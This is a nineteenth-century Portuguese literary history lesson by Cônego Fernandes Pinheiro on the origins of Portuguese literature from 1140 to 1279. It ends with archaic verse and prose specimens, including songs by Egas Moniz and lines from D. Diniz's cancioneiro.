ORIGENS E 1ª ÉPOCA DA LITERATURA PORTUGUESA – 1140 — 1279

Cônego Fernandes Pinheiro (1825 – 1876)

CURSO DE LITERATURA NACIONAL

I

LIÇÃO III

PRIMEIRA ÉPOCA — 1140 — 1279

Foi cercado de perigos o berço
da monarquia portuguesa; com o montante e não com a pena gravou-se ela no mapa
político da Europa; assim pois, a era dos guerreiros
devera preceder a dos sábios.

Arrancando seu país ao domínio
árabe, consagrou D. Afonso
Henriques sua longa existência às
guerras de con­quista: não desprezou porém a cultura
das letras, atraindo à sua corte de Coimbra os literatos e abrindo aulas em que
se instruía a juventude.

O primeiro cronista português (Fr. João
Camelo) era capelão de D. Afonso
Henriques e por ele foi incumbido de
narrar a origem da nobreza: o que desempenhou no seu
Su­mário das Famílias e
primeiros conquistadores deste Reino.
Vivia nesse tempo e partilhava da confiança do rei D. Gastão de Fox, bispo de Évora, que possuía vasta literatura francesa, latina,
hebraica e árabe. Nesta última língua escreveu ele uma obra dividida em sete
partes e que tratava:
de Deus; da imortalidade da alma; da concordância das
profecias das
si­bilas com as dos profetas; da
bem-aventurança eterna; do Pur­gatório e do Inferno.

Para completar a idéia que
desejamos dar do reinado do primeiro monarca português, citaremos o que
Fr. Luís de
Souza diz falando de S.
Fr. Gil que gozava nessa época da


reputação de grande médico e hábil
químico
(mágico): "Des­de
a sua primeira
puerícia entrou o bem-aventurado Gil a
freqüentar os mestres em Coimbra, na qual cidade, como corte que era naquele
tempo dos monarcas portugueses, se achavam então em grande vigor os estudos das
letras1."

Fruindo das doçuras da paz que lhe alcançara a
heróica espada de seu pai, ocupou-se D.
Sancho I em reedificar cida­des
e vilas, construir muralhas e favorecer à agricultura me­recendo o
epíteto de Povoador e Pai da Pátria. Quanto
per­mitia a rudeza dos tempos não foi por ele menosprezada a inteligência e em
seu abono temos o seguinte testemunho do já citado
Fr. Luís de Souza: "Era
Coimbra o assento da corte, e juntamente havia nela mestres das boas artes e
ciências. Porque el-rei D.
Sancho (o primeiro) como recebeu de
seu pai o reino pacífico e rico, procurou ilustrá-lo e acrescentá-lo por muitas
vias, e não lhe esqueceu a das letras, que é o que mais lustre dá aos homens e
às províncias2."

As contínuas guerras sustentadas por D. Afonso II dis­traíram
sua atenção dos cuidados literários; e as discórdias que assinalaram o seguinte
reinado (o de D.
Sancho II) re­tardaram o
desenvolvimento intelectual que tão bem estreara.

A exaltação de D. Afonso III,
chamado o
Bolonhês, marca um
período de progresso para a língua e literatura portu­guesas. Sua longa
residência em Paris, essa Atenas da idade média, seu trato familiar com os
homens mais eminentes nas ciências, letras e artes, e mais que tudo seu gosto
pela poesia dos
trovadores, então muito em voga na capital
de França, comunicaram grande brilhantismo ao seu reinado. Confiando a educação
de seu filho ao célebre
Emeric de Ebrard, um dos
homens mais
afamados dessa época, preparou o es­plendor
a que atingiram as letras no governo de D.
Diniz.

Deve Portugal a este príncipe ilustre a fundação de
uma universidade, aberta em Lisboa em 1289, à imitação das que já possuíam
algumas cidades da Europa. Para evitar que fossem seus vassalos mendigar em
estranhos cimas o pão do espírito, estabeleceu el-rei D.
Diniz a referida universidade onde
se lecionavam leis, cânones, lógica, gramática e medi­cina, omitindo-se a
teologia por ser ensinada nos conventos.

1 Hist, de S. Dom., part. I. n, cap. xm. 2 Hist, de S. Doming., loco
citato.

Grandemente contribuiu semelhante fundação para os
progressos da língua e literatura portuguesa, pelo concurso dos sábios
estrangeiros chamados para regerem suas diversas cadeiras. Começou então o uso
das traduções do árabe e do latim com que se enriqueceram as letras pátrias; e
o
contacto dos idiomas estranhos poliu e aperfeiçoou o nosso.

Já falamos do gosto que
manifestava D. Afonso III pela poesia dos
trovadores; acrescentaremos
que no reinado de D.
Diniz tornou-se este gosto
universal, para o que certa­mente contribuiu a harmonia entre as cortes de
Portugal e a de
Aragão, cujos monarcas regiam a Provença.

Julgamos de utilidade citar a
opinião que acerca dos
tro­vadores e da sua benéfica influência
emite um dos mais dis­tintos compatriotas nossos.

"Criadores do Parnaso
moderno, os
trovadores deveram ocupar o primeiro
lugar entre os poetas da Europa moderna se o título de inventar fosse sempre
uma prova
indubitável do mérito do invento. Como quer que seja, este único título foi suficiente para que os trovadores fossem o
objeto do respeito e da veneração de todos aqueles que amavam as letras e a
poesia. O que de certo não nos deve causar admi­ração, se refletirmos que
nessas eras rudes, sendo tudo es­crito em latim, língua peculiar aos sábios e
desconhecida da maior parte da gente, as poesias dos
trovadores, por serem
escritas em vulgar, deviam ser naturalmente recebidas com universal aplauso.
Era um novo prazer, um novo gênero de divertimento, inventado para o recreio do
espírito em um tempo em que poucos havia que não fossem encaminhados à
satisfação material dos sentidos. Assim que, foram os
tro­vadores mui bem
aceitos em todas as cortes, convidados a to­das as festas, amados dos grandes e
das damas, e a muitos deles esse dote do engenho foi ocasião para se
enriquecerem 1."

Ninguém ignora a influência
que exercem sobre o espírito dos povos certas
usanças vulgarmente
intituladas
modas, e muito
mais sensível se torna essa influência quando parte o exemplo dos homens
constituídos em dignidade. Sendo o rei o primeiro
trovador, é fácil de
supor que toda a nação se en­tregou à poesia.

» Prefação ao Cancioneiro d’el-rei D. Diniz, pelo Dr. C. Lopes de Moura.

Devemos ao zelo e dedicação do nosso benemérito
patrício o Dr. Caetano Lopes de Moura a publicação do
Cancioneiro de el-rei D. Diniz, que até o
ano de 1847 se conservara inédito. Seria injusto
aferi-lo pelas
idéias modernas e torná-lo respon­
sável pelas arcaicas locuções; mas, transportando-nos
pela imaginação à época em que foi escrito, devemos confessar que é um dos mais
belos monumentos da literatura por­tuguesa. A elevação e delicadeza dos
pensamentos se har­moniza com a melodia da frase que o real-poeta procurava
adelgaçar da bárbara crosta de que ainda se revestia. Para bem avaliar do
merecimento desse precioso códice cumpre cotejá-lo com o que de melhor se
escrevia na douta Itália e espirituosa França; e ousamos asseverar que dessa
confron­tação não resultará desar ao régio cancioneiro.

Terminaremos esta lição apresentando alguns espécimes
da língua e literatura portuguesa na primeira época.

Canção de Egas Moniz, despedindo-se de D. Violante, dama da rainha D. Mafalda. (Reinado de D. Afonso Henriques)

Flcaredes
bos em bora

Tam
coitada,
Que ey boy me
por hi fora

De longada.

Bay-se o bulto de mey
corpo

Ma ey nom Cá ós cocos vos fica morto

O coraçom.

Si
pensades que eey me bó

Nom lo
pensedes Que em bós
chantado esto

E nom me bedes.

Canção de Gonçalo Hermiguez à mulher D. Ouroana,
(Reinado de D. Sancho I)

Tinhera
bos, nom tinhera bos

Tal a tal cá assoma! Tinherades me, nom tinherades me
De la vinherades, de cá filharedes Cá andabia tudo em soma.

Regulamento formulado pelas cortes de 1211 (Reinado de

D. Sancho I)

Perque a sanha sohe embargar o coraçon que nom pôde
ver direytamente as cousas per onde estabelecemos que se per ventura no
movimento de nosso coraçon a algum julgarmos morte, ou que lhe cortem algum
membro; tal sentença seja
prolongada atá vinte dias,
e
des hi em diante será a sentença a execuçom se a nos com este comenos a
non
revogarmos.

Extrato do Prólogo de um livro
sobre o clima de Portugal, escrito pelo judeu Zacuto,
e dedicado a D. Afonso III

Do que achardes honrado senhor querela e honrada
semi nheira deste
reyno em que
Deus vos mantenha e mais atrigada pera arrebanhar porradas a
gunhas coisas per
birras, e a jazer em sembra co olho, e co cuidar no libro onde
jaz a sabença.

Trecho
do Cancioneiro
d’el-rei D. Diniz

Praz m’ha mi,
senhor, de moirer, E praz
m’ende por vosso mal, Ca sey que sentiredes qual Mingua vos
poys ey de fazer, Cá nõ perde pouco, senhor, Quando perde tal servidor, Qual
perdedes
en me perder.

E com
minha
mort’ey eu prazer Por que sey que vos farey tal Mingua, qual
fez ornem leal O mays que podia seer, A quem ama, poys morto for, E fostes vós
muy sabedor
D’eu por vós a tal mort’ aver.

Fonte: editora Cátedra – MEC – 1978

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